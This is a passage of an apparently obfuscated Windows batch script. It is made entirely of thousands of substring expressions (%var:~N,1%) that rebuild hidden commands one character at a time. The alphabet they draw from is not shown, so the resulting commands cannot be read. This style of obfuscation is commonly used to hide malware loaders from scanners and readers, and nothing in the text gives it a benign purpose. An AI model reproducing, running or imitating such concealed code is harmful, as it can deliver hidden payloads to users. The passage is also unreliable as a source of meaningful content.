,1%%':~-140,1%%':~-78,1%%':~20,1%%':~-140,1%%':~-140,1%%':~-152,1%%':~20,1%%':~20,1%%':~-140,1%%':~147,1%%':~-140,1%%':~-140,1%%':~20,1%%':~-140,1%%':~-140,1%%':~-140,1%%':~-140,1%%':~-48,1%%':~20,1%%':~20,1%%':~20,1%%':~-84,1%%':~-75,1%%':~-140,1%%':~-140,1%%':~20,1%%':~-15,1%%':~20,1%%':~20,1%%':~20,1%%':~-34,1%%':~20,1%%':~-140,1%%':~-140,1%%':~-52,1%%':~-140,1%%':~20,1%%':~20,1%%':~-44,1%%':~20,1%%':~-140,1%%':~20,1%%':~98,1%%':~14,1%%':~-121,1%%':~-24,1%%':~-140,1%%':~-140,1%%':~-140,1%%':~124,1%%':~-108,1%%':~-140,1%%':~20,1%%':~-140,1%%':~87,1%%':~20,1%%':~20,1%%':~-140,1%%':~102,1%%':~-140,1%%':~20,1%%':~20,1%%':~-94,1%%':~-160,1%%':~20,1%%':~20,1%%':~-140,1%%':~-71,1%%':~20,1%%':~20,1%%':~-140,1%%':~100,1%%':~20,1%%':~-140,1%%':~20,1%%':~-113,1%%':~-140,1%%':~-140,1%%':~20,1%%':~30,1%%':~-34,1%%':~-71,1%%':~-146,1%%':~105,1%%':~136,1%%':~-32,1%%':~-50,1%%':~-132,1%%':~-27,1%%':~-50,1%%':~78,1%%':~62,1%%':~-118,1%%':~126,1%%':~89,1%%':~-146,1%%':~-55,1%%':~-24,1%%':~-93,1%%':~-75,1%%':~-103,1%%':~143,1%%':~67,1%%':~128,1%%':~105,1%%':~18,1%%':~-17,1%%':~28,1%%':~67,1%%':~105,1%%':~42,1%%':~105,1%%':~-93,1%%':~-17,1%%':~148,1%%':~-55,1%%':~42,1%%':~105,1%%':~-90,1%%':~43,1%%':~143,1%%':~18,1%%':~14,1%%':~-31,1%%':~85,1%%':~-142,1%%':~126,1%%':~-55,1%%':~18,1%%':~42,1%%':~67,1%%':~-103,1%%':~-75,1%%':~143,1%%':~67,1%%':~-32,1%%':~98,1%%':~96,1%%':~-142,1%%':~55,1%%':~-93,1%%':~-34,1%%':~-34,1%%':~89,1%%':~-146,1%%':~-55,1%%':~136,1%%':~128,1%%':~34,1%%':~-118,1%%':~129,1%%':~78,1%%':~-98,1%%':~143,1%%':~-149,1%%':~57,1%%':~-84,1%%':~-34,1%%':~-71,1%%':~-146,1%%':~-55,1%%':~-24,1%%':~128,1%%':~-124,1%%':~41,1%%':~133,1%%':~-115,1%%':~78,1%%':~-138,1%%':~-90,1%%':~-138,1%%':~-34,1%%':~89,1%%':~-146,1%%':~105,1%%':~136,1%%':~-32,1%%':~-52,1%%':~155,1%%':~-50,1%%':~-105,1%%':~-54,1%%':~-82,1%%':~-84,1%%':~136,1%%':~126,1%%':~89,1%%':~-146,1%%':~105,1%%':~-24,1%%':~-32,1%%':~155,1%%':~-144,1%%':~78,1%%':~22,1%%':~-55,1%%':~-73,1%%':~-34,1%%':~89,1%%':~-55,1%%':~-103,1%%':~-54,1%%':~85,1%%':~82,1%%':~96,1%%0 %':~126,1%%':~-34,1%%':~-71,1%%':~14,1%%':~105,1%%':~-24,1%%':~128,1%%':~-84,1%%':~-150,1%%':~105,1%%':~0,1%%':~-1,1%%':~-82,1%%':~-9,1%%':~-102,1%%':~62,1%%':~126,1%%':~-71,1%%':~14,1%%':~105,1%%':~-24,1%%':~128,1%%':~-24,1%%':~-115,1%%':~-138,1%%':~78,1%%':~-160,1%%':~84,1%%':~-25,1%%':~4,1%%':~-34,1%%':~-71,1%%':~-146,1%%':~105,1%%':~136,1%%':~-32,1%%':~-66,1%%':~67,1%%':~-17,1%%':~43,1%%':~108,1%%':~78,1%%':~-156,1%%':~24,1%%':~129,1%%':~126,1%%':~89,1%%':~-146,1%%':~-54,1%%':~55,1%%':~-24,1%%':~42,1%%':~-75,1%%':~149,1%%':~-142,1%%':~-32,1%%':~-147,1%%':~14,1%%':~128,1%%':~13,1%%':~-121,1%%':~128,1%%':~-147,1%%':~-24,1%%':~128,1%%':~153,1%%':~-34,1%%':~-34,1%%':~-71,1%%':~-55,1%%':~70,1%%':~-31,1%%':~136,1%%':~126,1%%':~-34,1%%':~-71,1%%':~14,1%%':~-55,1%%':~-24,1%%':~-32,1%%':~-156,1%%':~-50,1%%':~-82,1%%':~0,1%%':~148,1%%':~0,1%%':~-146,1%%':~-160,1%%':~126,1%%':~89,1%%':~14,1%%':~105,1%%':~136,1%%':~-32,1%%':~133,1%%':~-126,1%%':~-82,1%%':~30,1%%':~143,1%%':~52,1%%':~-34,1%%':~-71,1%%':~-146,1%%':~105,1%%':~136,1%%':~128,1%%':~-115,1%%':~-124,1%%':~-82,1%%':~28,1%%':~-76,1%%':~-1,1%%':~126,1%%':~89,1%%':~14,1%%':~-55,1%%':~136,1%%':~-32,1%%':~-90,1%%':~-150,1%%':~-130,1%%':~78,1%%':~-115,1%%':~-146,1%%':~-34,1%%':~-71,1%%':~14,1%%':~-55,1%%':~-24,1%%':~128,1%%':~-119,1%%':~39,1%%':~78,1%%':~-118,1%%':~74,1%%':~108,1%%':~126,1%%':~-71,1%%':~105,1%%':~-103,1%%':~-54,1%%':~-75,1%%':~128,1%%':~-68,1%
%':~153,1%%':~-21,1%%':~-148,1%%':~141,1%%':~-111,1%%':~71,1%%':~-52,1%%':~-37,1%%':~-152,1%%':~20,1%%':~-64,1%%':~13,1%%':~79,1%%':~-28,1%%':~153,1%%':~139,1%%':~12,1%%':~-19,1%%':~-111,1%%':~-16,1%%':~37,1%%':~108,1%%':~127,1%%':~-147,1%%':~-9,1%%':~37,1%%':~9,1%%':~132,1%%':~-7,1%%':~139,1%%':~12,1%%':~-19,1%%':~49,1%%':~99,1%%':~-71,1%%':~76,1%%':~-52,1%%':~90,1%%':~13,1%%':~132,1%%':~-7,1%%':~139,1%%':~-148,1%%':~141,1%%':~49,1%%':~45,1%%':~-115,1%%':~-26,1%%':~37,1%%':~103,1%%':~-52,1%%':~159,1%%':~27,1%%':~31,1%%':~25,1%%':~-28,1%%':~153,1%%':~-56,1%%':~-20,1%%':~49,1%!'!%':~-111,1%%':~96,1%%':~-148,1%%':~-9,1%%':~49,1%%':~123,1%%':~-152,1%%':~49,1%%':~-12,1%%':~153,1%%':~-148,1%%':~-51,1%%':~67,1%%':~-32,1%%':~-43,1%%':~-140,1%%0 %':~-28,1%%':~-7,1%%':~-21,1%%':~12,1%%':~141,1%%':~49,1%%':~-129,1%%':~-67,1%%':~75,1%%':~-98,1%%':~-131,1%%':~-52,1%%':~-98,1%%':~-85,1%%':~157,1%%':~-61,1%%':~-28,1%%':~-7,1%%':~139,1%%':~-93,1%%':~13,1%%':~-19,1%%':~99,1%%':~-32,1%%':~-98,1%%':~96,1%%':~49,1%%':~41,1%%':~139,1%%':~49,1%%':~-119,1%%':~-20,1%%':~-111,1%%':~-119,1%%':~141,1%%':~49,1%%':~-109,1%%':~-28,1%%':~153,1%%':~-148,1%%':~44,1%%':~-56,1%%':~-19,1%%':~-91,1%%':~49,1%%':~12,1%%':~79,1%%':~139,1%%':~-148,1%%':~49,1%%':~-12,1%%':~-7,1%%':~109,1%%':~-81,1%%':~-21,1%%':~69,1%%':~-28,1%%':~153,1%%':~-148,1%%':~-64,1%%':~99,1%%':~79,1%%':~128,1%%':~-51,1%%':~-142,1%%':~-81,1%%':~-28,1%%':~153,1%%':~139,1%%':~-148,1%%':~-19,1%%':~-111,1%%':~71,1%%':~108,1%%':~-37,1%%':~-37,1%%':~123,1%%':~37,1%%':~-37,1%%':~-37,1%%':~-37,1%%':~-71,1%%':~97,1%%':~123,1%%':~123,1%%':~123,1%%':~-28,1%%':~-37,1%%':~123,1%%':~-37,1%%':~-103,1%%':~-37,1%%':~123,1%%':~-37,1%%':~43,1%%':~123,1%%':~-37,1%%':~-37,1%%':~113,1%%':~123,1%%':~123,1%%':~-37,1%%':~-43,1%%':~-37,1%%':~123,1%%':~-37,1%%':~-33,1%%':~-147,1%%':~-37,1%%':~-37,1%%':~123,1%%':~-85,1%%':~-37,1%%':~123,1%%':~-37,1%%':~-82,1%%':~109,1%%':~6,1%%':~-62,1%%':~123,1%%':~123,1%%':~-37,1%%':~61,1%%':~-37,1%%':~123,1%%':~-37,1%%':~136,1%%':~123,1%%':~123,1%%':~-37,1%%':~71,1%%':~-37,1%%':~123,1%%':~-37,1%%':~17,1%%':~123,1%%':~-37,1%%':~123,1%%':~-75,1%%':~104,1%%':~123,1%%':~-37,1%%':~-37,1%%':~-73,1%%':~123,1%%':~-37,1%%':~123,1%%':~106,1%%':~123,1%%':~123,1%%':~123,1%%':~157,1%%':~-37,1%%':~-37,1%%':~123,1%%':~101,1%%':~96,1%%':~62,1%%':~-37,1%%':~123,1%%':~123,1%%':~-41,1%%':~123,1%%':~123,1%%':~123,1%%':~-111,1%%':~-37,1%%':~-37,1%%':~-37,1%%':~-145,1%%':~123,1%%':~-37,1%%':~-37,1%%':~-107,1%%':~-37,1%%':~-37,1%%':~123,1%%':~111,1%%':~67,1%%':~123,1%%':~123,1%%':~-37,1%%':~-136,1%%':~123,1%%':~123,1%%':~-37,1%%':~83,1%%':~44,1%%':~123,1%%':~123,1%%':~123,1%%':~33,1%%':~123,1%%':~-37,1%%':~-37,1%%':~-121,1%%':~93,1%%':~-37,1%%':~-37,1%%':~123,1%%':~-35,1%%':~-37,1%%':~-37,1%%':~123,1%%':~146,1%%':~123,1%%':~123,1%%':~-37,1%%':~-113,1%%':~-37,1%%':~-37,1%%':~-37,1%%':~-129,1%%':~-37,1%%':~-37,1%%':~123,1%%':~-155,1%%':~-151,1%%':~18,1%%':~-19,1%%':~139,1%%':~123,1%%':~123,1%%':~-37,1%%':~138,1%%':~-37,1%%':~123,1%%':~-37,1%%':~-30,1%%':~123,1%%':~-37,1%%':~123,1%%':~-101,1%%':~-37,1%%':~123,1%%':~123,1%%':~-10,1%%':~-20,1%%':~-37,1%%':~123,1%%':~-37,1%%':~143,1%%':~45,1%%':~123,1%%':~-37,1%%':~123,1%%':~108,1%%':~-37,1%%':~-37,1%%':~123,1%%':~-119,1%%':~79,1%%':~123,1%%':~123,1%%':~-37,1%%':~27,1%%':~123,1%%':~-37,1%%':~123,1%%':~155,1%%':~-37,1%%':~-37,1%%':~123,1%%':~-37,1%%':~123,1%%':~-37,1%%':~123,1%%':~35,1%%':~-37,1%%':~123,1%%':~-37,1%%':~-131,1%%':~123,1%%':~-37,1%%':~123,1%%':~20,1%%':~123,1%%':~-37,1%%':~-37,1%%':~81,1%%':~-37,1%%':~123,1%%':~123,1%%':~153,1%%':~123,1%%':~123,1%%':~123,1%%':~-149,1%%':~123,1%%':~-37,1%%':~123,1%%':~-45,1%%':~123,1%%':~123,1%%':~123,1%%':~103,1%%':~90,1%%':~-61,1%%':~-37,1%%':~123,1%%':~123,1%%':~-26,1%%':~-37,1%%':~-37,1%%':~123,1%%':~73,1%%':~-37,1%%':~-37,1%%':~123,1%%':~55,1%%':~-16,1%%':~-37,1%%':~123,1%%':~-37,1%%':~-65,1%%':~123,1%%':~123,1%%':~123,1%%':~51,1%%':~-37,1%%':~123,1%%':~-37,1%%':~-68,1%%':~-37,1%%':~123,1%%':~-37,1%%':~159,1%%':~25,1%%':~128,1%%':~123,1%%':~-37,1%%':~-37,1%%':~-39,1%%':~-37,1%%':~123,1%%':~-37,1%%':~-138,1%%':~-37,1%%':~-37,1%%':~123,1%%':~-152,1%%':~-37,1%%':~-37,1%%':~-37,1%%':~-94,1%%':~76,1%%':~-148,1%%':~123,1%%':~-37,1%%':~-37,1%%':~69,1%%':~-37,1%%':~123,1%%':~123,1%%':~148,1%%':~151,1%%':~-37,1%%':~123,1%%':~123,1%%':~-159,1%%':~123,1%%':~123,1%%':~-37,1%%':~-157,1%%':~-37,1%%':~-37,1%%':~123,1%%':~-96,1%%':~-28,1%%':~-7,1%%':~139,1%%':~12,1%%':~-19,1%%':~-81,1%%':~128,1%%':~-51,1%%':~18,1%%':~-81,1%%':~49,1%%':~12,1%%':~-64,1%%':~-142,1%%':~-67,1%%':~-81,1%%':~12,1%%':~-61,1%%':~-148,1%%':~-81,1%%':~18,1%%':~6,1%%':~-148,1%%':~99,1%%':~-148,1%%':~-116,1%%':~9,1%%':~-142,1%%':~96,1%%':~139,1%%':~104,1%%':~-32,1%%':~96,1%%':~-28,1%%':~12,1%%':~-64,1%%':~99,1%%':~79,1%%':~109,1%%':~-32,1%%':~18,1%%':~79,1%%':~-111,1%%':~138,1%%':~20,1%%':~96,1%%':~13,1%%':~79,1%%':~-28,1%%':~-28,1%%':~-7,1%%':~-148,1%%':~109,1%%':~-93,1%%':~-32,1%%':~-43,1%%':~-140,1%%0 %':~132,1%%':~-28,1%%':~153,1%%':~139,1%%':~67,1%%':~13,1%%':~141,1%%':~-61,1%%':~-32,1%%':~62,1%%':~96,1%%':~-111,1%%':~41,1%%':~-21,1%%':~49,1%%':~-119,1%%':~140,1%%':~49,1%%':~41,1%%':~141,1%%':~-111,1%%':~51,1%%':~-28,1%%':~-28,1%%':~153,1%%':~-21,1%%':~12,1%%':~-19,1%%':~-111,1%%':~-143,1%%':~-115,1%%':~-52,1%%':~-85,1%%':~-54,1%%':~12,1%%':~-143,1%%':~-98,1%%':~-28,1%%':~-7,1%%':~12,1%%':~-116,1%%':~104,1%%':~141,1%%':~132,1%%':~132,1%%':~153,1%%':~12,1%%':~-51,1%%':~67,1%%':~128,1%%':~49,1%%':~-152,1%
%':~-47,1%%':~-80,1%%':~-12,1%%':~-81,1%%':~-111,1%%':~30,1%%':~-66,1%%':~-57,1%%':~144,1%%':~109,1%%':~-116,1%%':~17,1%%':~-63,1%%':~-154,1%%':~113,1%%':~-125,1%%':~-71,1%%':~-111,1%!'!%':~49,1%%':~-116,1%%':~-12,1%%':~153,1%%':~-111,1%%':~103,1%%':~-16,1%%':~-111,1%%':~-8,1%%':~113,1%%':~148,1%%':~-138,1%%':~56,1%%':~-22,1%%':~-146,1%%':~-51,1%%0 %':~-154,1%%':~-47,1%%':~80,1%%':~148,1%%':~79,1%%':~49,1%%':~-94,1%%':~-136,1%%':~97,1%%':~-143,1%%':~-66,1%%':~35,1%%':~-99,1%%':~1,1%%':~6,1%%':~113,1%%':~80,1%%':~148,1%%':~79,1%%':~49,1%%':~-139,1%%':~8,1%%':~-136,1%%':~-66,1%%':~107,1%%':~-37,1%%':~-23,1%%':~-154,1%%':~113,1%%':~80,1%%':~-104,1%%':~17,1%%':~79,1%%':~121,1%%':~-22,1%%':~-115,1%%':~-116,1%%':~49,1%%':~-64,1%%':~80,1%%':~-111,1%%':~-64,1%%':~89,1%%':~-111,1%%':~96,1%%':~-81,1%%':~49,1%%':~-28,1%%':~6,1%%':~113,1%%':~80,1%%':~-12,1%%':~-81,1%%':~49,1%%':~-32,1%%':~123,1%%':~43,1%%':~-66,1%%':~-39,1%%':~24,1%%':~99,1%%':~79,1%%':~6,1%%':~113,1%%':~-12,1%%':~-99,1%%':~-125,1%%':~79,1%%':~150,1%%':~-111,1%%':~-12,1%%':~97,1%%':~80,1%%':~148,1%%':~49,1%%':~-8,1%%':~113,1%%':~22,1%%':~-63,1%%':~-80,1%%':~150,1%%':~-154,1%%':~-47,1%%':~80,1%%':~-12,1%%':~79,1%%':~49,1%%':~-159,1%%':~-95,1%%':~107,1%%':~4,1%%':~120,1%%':~-66,1%%':~74,1%%':~-156,1%%':~-82,1%%':~-71,1%%':~-86,1%%':~6,1%%':~113,1%%':~-12,1%%':~44,1%%':~-39,1%%':~97,1%%':~-22,1%%':~-138,1%%':~78,1%%':~97,1%%':~-154,1%%':~113,1%%':~80,1%%':~-12,1%%':~79,1%%':~49,1%%':~-130,1%%':~94,1%%':~-57,1%%':~-57,1%%':~103,1%%':~127,1%%':~103,1%%':~103,1%%':~-57,1%%':~-69,1%%':~-39,1%%':~103,1%%':~-57,1%%':~103,1%%':~96,1%%':~103,1%%':~103,1%%':~103,1%%':~-123,1%%':~-7,1%%':~-104,1%%':~-57,1%%':~103,1%%':~-57,1%%':~-84,1%%':~-57,1%%':~103,1%%':~103,1%%':~-24,1%%':~-57,1%%':~103,1%%':~-57,1%%':~-57,1%%':~-116,1%%':~66,1%%':~-99,1%%':~-82,1%%':~103,1%%':~103,1%%':~-57,1%%':~-76,1%%':~103,1%%':~-57,1%%':~-57,1%%':~-107,1%%':~22,1%%':~-57,1%%':~-57,1%%':~103,1%%':~-53,1%%':~-57,1%%':~103,1%%':~103,1%%':~12,1%%':~-57,1%%':~-57,1%%':~-57,1%%':~-3,1%%':~-57,1%%':~103,1%%':~103,1%%':~58,1%%':~-57,1%%':~103,1%%':~-57,1%%':~14,1%%':~-57,1%%':~103,1%%':~-57,1%%':~152,1%%':~-57,1%%':~103,1%%':~103,1%%':~-41,1%%':~103,1%%':~-57,1%%':~103,1%%':~16,1%%':~-57,1%%':~103,1%%':~-57,1%%':~3,1%%':~-57,1%%':~-57,1%%':~103,1%%':~-86,1%%':~103,1%%':~103,1%%':~103,1%%':~-130,1%%':~-57,1%%':~103,1%%':~103,1%%':~-119,1%%':~35,1%%':~-57,1%%':~103,1%%':~103,1%%':~-97,1%%':~103,1%%':~-57,1%%':~-57,1%%':~113,1%%':~103,1%%':~103,1%%':~103,1%%':~132,1%%':~23,1%%':~-71,1%%':~-57,1%%':~103,1%%':~-57,1%%':~-5,1%%':~103,1%%':~103,1%%':~103,1%%':~-74,1%%':~-57,1%%':~103,1%%':~103,1%%':~125,1%%':~103,1%%':~-57,1%%':~103,1%%':~-66,1%%':~-80,1%%':~103,1%%':~103,1%%':~103,1%%':~55,1%%':~-57,1%%':~-57,1%%':~103,1%%':~82,1%%':~-57,1%%':~-57,1%%':~103,1%%':~-152,1%%':~103,1%%':~103,1%%':~-57,1%%':~-26,1%%':~120,1%%':~103,1%%':~103,1%%':~-57,1%%':~-37,1%%':~-57,1%%':~-57,1%%':~103,1%%':~70,1%%':~103,1%%':~-57,1%%':~-57,1%%':~-134,1%%':~137,1%%':~97,1%%':~-12,1%%':~-57,1%%':~-57,1%%':~-57,1%%':~-61,1%%':~-57,1%%':~-57,1%%':~103,1%%':~34,1%%':~-57,1%%':~103,1%%':~103,1%%':~-51,1%%':~103,1%%':~-57,1%%':~103,1%%':~142,1%%':~77,1%%':~-57,1%%':~-57,1%%':~103,1%%':~39,1%%':~103,1%%':~-57,1%%':~-57,1%%':~-43,1%%':~103,1%%':~103,1%%':~-57,1%%':~28,1%%':~138,1%%':~-57,1%%':~103,1%%':~-57,1%%':~111,1%%':~103,1%%':~103,1%%':~-57,1%%':~105,1%%':~-57,1%%':~103,1%%':~-57,1%%':~-14,1%%':~103,1%%':~103,1%%':~-57,1%%':~115,1%%':~103,1%%':~103,1%%':~-57,1%%':~101,1%%':~103,1%%':~103,1%%':~103,1%%':~10,1%%':~-57,1%%':~103,1%%':~-57,1%%':~49,1%%':~128,1%%':~103,1%%':~103,1%%':~103,1%%':~32,1%%':~-57,1%%':~-57,1%%':~-57,1%%':~-20,1%%':~103,1%%':~103,1%%':~-57,1%%':~-159,1%%':~103,1%%':~-57,1%%':~103,1%%':~-95,1%%':~103,1%%':~103,1%%':~-57,1%%':~-30,1%%':~45,1%%':~-57,1%%':~-57,1%%':~-57,1%%':~60,1%%':~-57,1%%':~-57,1%%':~-57,1%%':~-88,1%%':~92,1%%':~103,1%%':~-57,1%%':~-57,1%%':~88,1%%':~-156,1%%':~103,1%%':~-57,1%%':~103,1%%':~19,1%%':~103,1%%':~103,1%%':~-57,1%%':~21,1%%':~-143,1%%':~-13,1%%':~103,1%%':~-57,1%%':~-57,1%%':~-113,1%%':~103,1%%':~-57,1%%':~103,1%%':~-10,1%%':~-57,1%%':~-57,1%%':~103,1%%':~-92,1%%':~103,1%%':~103,1%%':~-57,1%%':~6,1%%':~-57,1%%':~103,1%%':~-57,1%%':~-1,1%%':~-81,1%%':~-57,1%%':~-57,1%%':~-57,1%%':~144,1%%':~103,1%%':~103,1%%':~-57,1%%':~43,1%%':~-57,1%%':~103,1%%':~103,1%%':~-109,1%%':~24,1%%':~6,1%%':~113,1%%':~-80,1%%':~-12,1%%':~79,1%%':~49,1%%':~111,1%%':~136,1%%':~19,1%%':~21,1%%':~94,1%%':~-157,1%%':~-105,1%%':~78,1%%':~-41,1%%':~6,1%%':~-47,1%%':~-80,1%%':~-12,1%%':~79,1%%':~97,1%%':~-22,1%%':~22,1%%':~-82,1%%':~97,1%%':~-111,1%%':~148,1%%':~44,1%%':~-82,1%%':~66,1%%':~97,1%%':~-12,1%%':~-39,1%%':~-12,1%%':~-63,1%%':~-82,1%%':~-137,1%%':~148,1%%':~-39,1%%':~148,1%%':~61,1%%':~77,1%%':~-82,1%%':~-116,1%%':~80,1%%':~-125,1%%':~-22,1%%':~44,1%%':~-154,1%%':~148,1%%':~-116,1%%':~121,1%%':~-63,1%%':~22,1%%':~-22,1%%':~-82,1%%':~97,1%%':~-111,1%%':~82,1%%':~-51,1%%':~-116,1%%':~17,1%%':~-63,1%%':~6,1%%':~6,1%%':~-47,1%%':~80,1%%':~-12,1%%':~-81,1%%':~-111,1%%':~43,1%%':~-94,1%%':~115,1%%':~41,1%%':~94,1%%':~51,1%%':~-61,1%%':~6,1%%':~113,1%%':~80,1%%':~-12,1%%':~-81,1%%':~49,1%%':~-12,1%%':~123,1%%':~-117,1%%':~-99,1%%':~92,1%%':~94,1%%':~120,1%%':~22,1%%':~97,1%%':~-154,1%%':~-47,1%%':~80,1%%':~148,1%%':~79,1%%':~49,1%%':~120,1%%':~-49,1%%':~24,1%%':~-66,1%%':~-71,1%%':~-35,1%%':~6,1%%':~-47,1%%':~80,1%%':~-12,1%%':~-81,1%%':~49,1%%':~115,1%%':~-116,1%%':~94,1%%':~-152,1%%':~74,1%%':~-35,1%%':~137,1%%':~-95,1%%':~-154,1%%':~113,1%%':~148,1%%':~-138,1%%':~-104,1%%':~-22,1%%':~14,1%%':~109,1%%0 %':~6,1%%':~-154,1%%':~-47,1%%':~-80,1%%':~-104,1%%':~-143,1%%':~-81,1%%':~-39,1%%':~138,1%%':~45,1%%':~44,1%%':~-111,1%%':~-64,1%%':~80,1%%':~49,1%%':~-64,1%%':~-71,1%%':~-111,1%%':~96,1%%':~-81,1%%':~49,1%%':~132,1%%':~-154,1%%':~-154,1%%':~113,1%%':~-12,1%%':~61,1%%':~-125,1%%':~79,1%%':~-154,1%%':~-154,1%%':~-47,1%%':~-12,1%%':~22,1%%':~-104,1%%':~-22,1%%':~-111,1%%':~144,1%
%':~-106,1%%':~67,1%%':~-75,1%%':~152,1%%':~-45,1%%':~-113,1%%':~-94,1%%':~-144,1%%':~154,1%%':~91,1%%':~-143,1%%':~-20,1%%':~-76,1%%':~-11,1%%':~-106,1%%':~67,1%%':~85,1%%':~-8,1%%':~115,1%%':~-38,1%%':~-80,1%%':~103,1%%':~45,1%%':~33,1%%':~-94,1%%':~-25,1%%':~27,1%%':~67,1%%':~-44,1%%':~-11,1%%':~-106,1%%':~50,1%%':~-102,1%%':~115,1%!'!%':~-45,1%%':~17,1%%':~85,1%%':~-151,1%%':~115,1%%':~-144,1%%':~154,1%%':~-45,1%%':~37,1%%':~-106,1%%':~-75,1%%':~-135,1%%':~-150,1%%':~-59,1%%':~-125,1%%':~-69,1%%0 %':~149,1%%':~-106,1%%':~-93,1%%':~85,1%%':~152,1%%':~115,1%%':~-1,1%%':~29,1%%':~85,1%%':~-2,1%%':~159,1%%':~-94,1%%':~20,1%%':~-20,1%%':~101,1%%':~57,1%%':~-11,1%%':~54,1%%':~-93,1%%':~-150,1%%':~140,1%%':~152,1%%':~4,1%%':~-59,1%%':~127,1%%':~-143,1%%':~115,1%%':~6,1%%':~67,1%%':~-45,1%%':~-154,1%%':~-102,1%%':~115,1%%':~6,1%%':~152,1%%':~-45,1%%':~56,1%%':~149,1%%':~54,1%%':~-93,1%%':~-75,1%%':~-8,1%%':~115,1%%':~-131,1%%':~85,1%%':~-73,1%%':~-1,1%%':~66,1%%':~-151,1%%':~-102,1%%':~-96,1%%':~149,1%%':~-106,1%%':~85,1%%':~-141,1%%':~-110,1%%':~-8,1%%':~145,1%%':~115,1%%':~-75,1%%':~84,1%%':~-93,1%%':~85,1%%':~-45,1%%':~37,1%%':~-106,1%%':~-135,1%%':~84,1%%':~-93,1%%':~-15,1%%':~149,1%%':~54,1%%':~-93,1%%':~-75,1%%':~152,1%%':~-45,1%%':~-110,1%%':~135,1%%':~-80,1%%':~-36,1%%':~-151,1%%':~66,1%%':~-121,1%%':~27,1%%':~25,1%%':~149,1%%':~-106,1%%':~-93,1%%':~-75,1%%':~-8,1%%':~-45,1%%':~132,1%%':~132,1%%':~139,1%%':~-135,1%%':~66,1%%':~-20,1%%':~-33,1%%':~9,1%%':~-80,1%%':~-11,1%%':~54,1%%':~67,1%%':~-75,1%%':~152,1%%':~-45,1%%':~-33,1%%':~94,1%%':~-1,1%%':~-94,1%%':~-21,1%%':~-150,1%%':~149,1%%':~54,1%%':~-93,1%%':~85,1%%':~152,1%%':~115,1%%':~103,1%%':~-20,1%%':~57,1%%':~-111,1%%':~-110,1%%':~66,1%%':~-131,1%%':~-25,1%%':~-44,1%%':~141,1%%':~-127,1%%':~-11,1%%':~54,1%%':~-93,1%%':~85,1%%':~-8,1%%':~-45,1%%':~64,1%%':~-117,1%%':~-93,1%%':~18,1%%':~66,1%%':~139,1%%':~85,1%%':~-36,1%%':~-59,1%%':~124,1%%':~-11,1%%':~54,1%%':~67,1%%':~85,1%%':~-8,1%%':~-45,1%%':~85,1%%':~58,1%%':~-111,1%%':~101,1%%':~156,1%%':~66,1%%':~-33,1%%':~152,1%%':~122,1%%':~58,1%%':~41,1%%':~-11,1%%':~54,1%%':~-75,1%%':~-143,1%%':~4,1%%':~-76,1%%':~101,1%%':~25,1%%':~-140,1%%':~-76,1%%':~-11,1%%':~54,1%%':~-93,1%%':~85,1%%':~-8,1%%':~115,1%%':~-33,1%%':~1,1%%':~-121,1%%':~66,1%%':~-119,1%%':~49,1%%':~-82,1%%':~149,1%%':~54,1%%':~67,1%%':~85,1%%':~-8,1%%':~-45,1%%':~-131,1%%':~-142,1%%':~96,1%%':~41,1%%':~141,1%%':~-94,1%%':~135,1%%':~152,1%%':~33,1%%':~-11,1%%':~-106,1%%':~67,1%%':~-75,1%%':~152,1%%':~115,1%%':~-113,1%%':~66,1%%':~16,1%%':~16,1%%':~16,1%%':~54,1%%':~20,1%%':~16,1%%':~16,1%%':~16,1%%':~-121,1%%':~16,1%%':~-144,1%%':~16,1%%':~52,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~6,1%%':~76,1%%':~16,1%%':~-144,1%%':~-144,1%%':~-40,1%%':~-144,1%%':~16,1%%':~-144,1%%':~1,1%%':~16,1%%':~16,1%%':~-144,1%%':~-2,1%%':~-144,1%%':~-144,1%%':~16,1%%':~129,1%%':~16,1%%':~16,1%%':~16,1%%':~131,1%%':~-144,1%%':~16,1%%':~16,1%%':~37,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~122,1%%':~16,1%%':~16,1%%':~-144,1%%':~93,1%%':~-143,1%%':~16,1%%':~16,1%%':~16,1%%':~-146,1%%':~-75,1%%':~16,1%%':~-144,1%%':~16,1%%':~149,1%%':~-144,1%%':~16,1%%':~-144,1%%':~24,1%%':~-110,1%%':~-144,1%%':~16,1%%':~-144,1%%':~66,1%%':~16,1%%':~-144,1%%':~-144,1%%':~47,1%%':~-144,1%%':~16,1%%':~16,1%%':~145,1%%':~16,1%%':~-144,1%%':~-144,1%%':~-98,1%%':~-144,1%%':~16,1%%':~-144,1%%':~-64,1%%':~152,1%%':~-144,1%%':~-144,1%%':~16,1%%':~-57,1%%':~-103,1%%':~16,1%%':~-144,1%%':~16,1%%':~107,1%%':~16,1%%':~-144,1%%':~16,1%%':~100,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~156,1%%':~-144,1%%':~-144,1%%':~16,1%%':~12,1%%':~-144,1%%':~16,1%%':~-144,1%%':~-49,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~-91,1%%':~-144,1%%':~-144,1%%':~16,1%%':~64,1%%':~16,1%%':~16,1%%':~16,1%%':~-62,1%%':~16,1%%':~-144,1%%':~16,1%%':~-13,1%%':~-1,1%%':~16,1%%':~16,1%%':~-144,1%%':~-157,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~109,1%%':~16,1%%':~16,1%%':~-144,1%%':~-82,1%%':~-144,1%%':~16,1%%':~16,1%%':~126,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~-23,1%%':~-144,1%%':~16,1%%':~16,1%%':~82,1%%':~140,1%%':~-144,1%%':~16,1%%':~-144,1%%':~-71,1%%':~16,1%%':~-144,1%%':~16,1%%':~118,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~49,1%%':~10,1%%':~-144,1%%':~16,1%%':~16,1%%':~-17,1%%':~127,1%%':~16,1%%':~-144,1%%':~16,1%%':~-129,1%%':~-144,1%%':~-144,1%%':~16,1%%':~-36,1%%':~-144,1%%':~16,1%%':~16,1%%':~27,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~80,1%%':~16,1%%':~16,1%%':~-144,1%%':~60,1%%':~-25,1%%':~-144,1%%':~16,1%%':~-144,1%%':~8,1%%':~-144,1%%':~-144,1%%':~16,1%%':~-104,1%%':~-59,1%%':~16,1%%':~16,1%%':~16,1%%':~-47,1%%':~16,1%%':~16,1%%':~16,1%%':~-144,1%%':~16,1%%':~-144,1%%':~16,1%%':~43,1%%':~-93,1%%':~-144,1%%':~-144,1%%':~-144,1%%':~-89,1%%':~-144,1%%':~-144,1%%':~16,1%%':~73,1%%':~-144,1%%':~16,1%%':~-144,1%%'